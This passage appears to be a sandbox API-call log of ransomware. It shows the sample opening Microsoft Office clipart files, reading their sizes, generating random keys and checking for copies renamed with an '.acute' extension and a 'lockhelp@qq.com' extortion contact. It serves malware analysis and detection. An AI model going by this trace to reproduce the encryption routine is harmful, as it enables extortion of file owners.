dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.134] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=35346) returned 1 [0275.134] CloseHandle (hObject=0x37c) returned 1 [0275.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf")) returned 0x20 [0275.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.134] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.134] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=33434) returned 1 [0275.134] CloseHandle (hObject=0x37c) returned 1 [0275.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf")) returned 0x20 [0275.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.134] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.134] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=14174) returned 1 [0275.134] CloseHandle (hObject=0x37c) returned 1 [0275.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf")) returned 0x20 [0275.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.135] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.141] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=19898) returned 1 [0275.141] CloseHandle (hObject=0x37c) returned 1 [0275.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf")) returned 0x20 [0275.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.142] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.142] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=28212) returned 1 [0275.142] CloseHandle (hObject=0x37c) returned 1 [0275.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf")) returned 0x20 [0275.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.142] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.143] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=17638) returned 1 [0275.143] CloseHandle (hObject=0x37c) returned 1 [0275.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf")) returned 0x20 [0275.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.143] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.144] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.144] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.144] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3332) returned 1 [0275.144] CloseHandle (hObject=0x37c) returned 1 [0275.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf")) returned 0x20 [0275.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.144] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.144] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.144] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.144] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1456) returned 1 [0275.144] CloseHandle (hObject=0x37c) returned 1 [0275.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf")) returned 0x20 [0275.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.144] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.144] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.144] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.145] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5314) returned 1 [0275.145] CloseHandle (hObject=0x37c) returned 1 [0275.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf")) returned 0x20 [0275.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.145] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.145] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=6934) returned 1 [0275.145] CloseHandle (hObject=0x37c) returned 1 [0275.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf")) returned 0x20 [0275.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.145] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.146] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=42050) returned 1 [0275.146] CloseHandle (hObject=0x37c) returned 1 [0275.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf")) returned 0x20 [0275.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.146] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.146] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4970) returned 1 [0275.146] CloseHandle (hObject=0x37c) returned 1 [0275.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf")) returned 0x20 [0275.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.147] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.147] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=24759) returned 1 [0275.147] CloseHandle (hObject=0x37c) returned 1 [0275.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg")) returned 0x20 [0275.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.147] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.147] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=16596) returned 1 [0275.147] CloseHandle (hObject=0x37c) returned 1 [0275.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf")) returned 0x20 [0275.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.147] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.148] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=24377) returned 1 [0275.148] CloseHandle (hObject=0x37c) returned 1 [0275.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg")) returned 0x20 [0275.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.148] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.148] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=18258) returned 1 [0275.148] CloseHandle (hObject=0x37c) returned 1 [0275.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg")) returned 0x20 [0275.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.148] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.149] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=73214) returned 1 [0275.149] CloseHandle (hObject=0x37c) returned 1 [0275.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf")) returned 0x20 [0275.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.149] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.149] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.149] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program 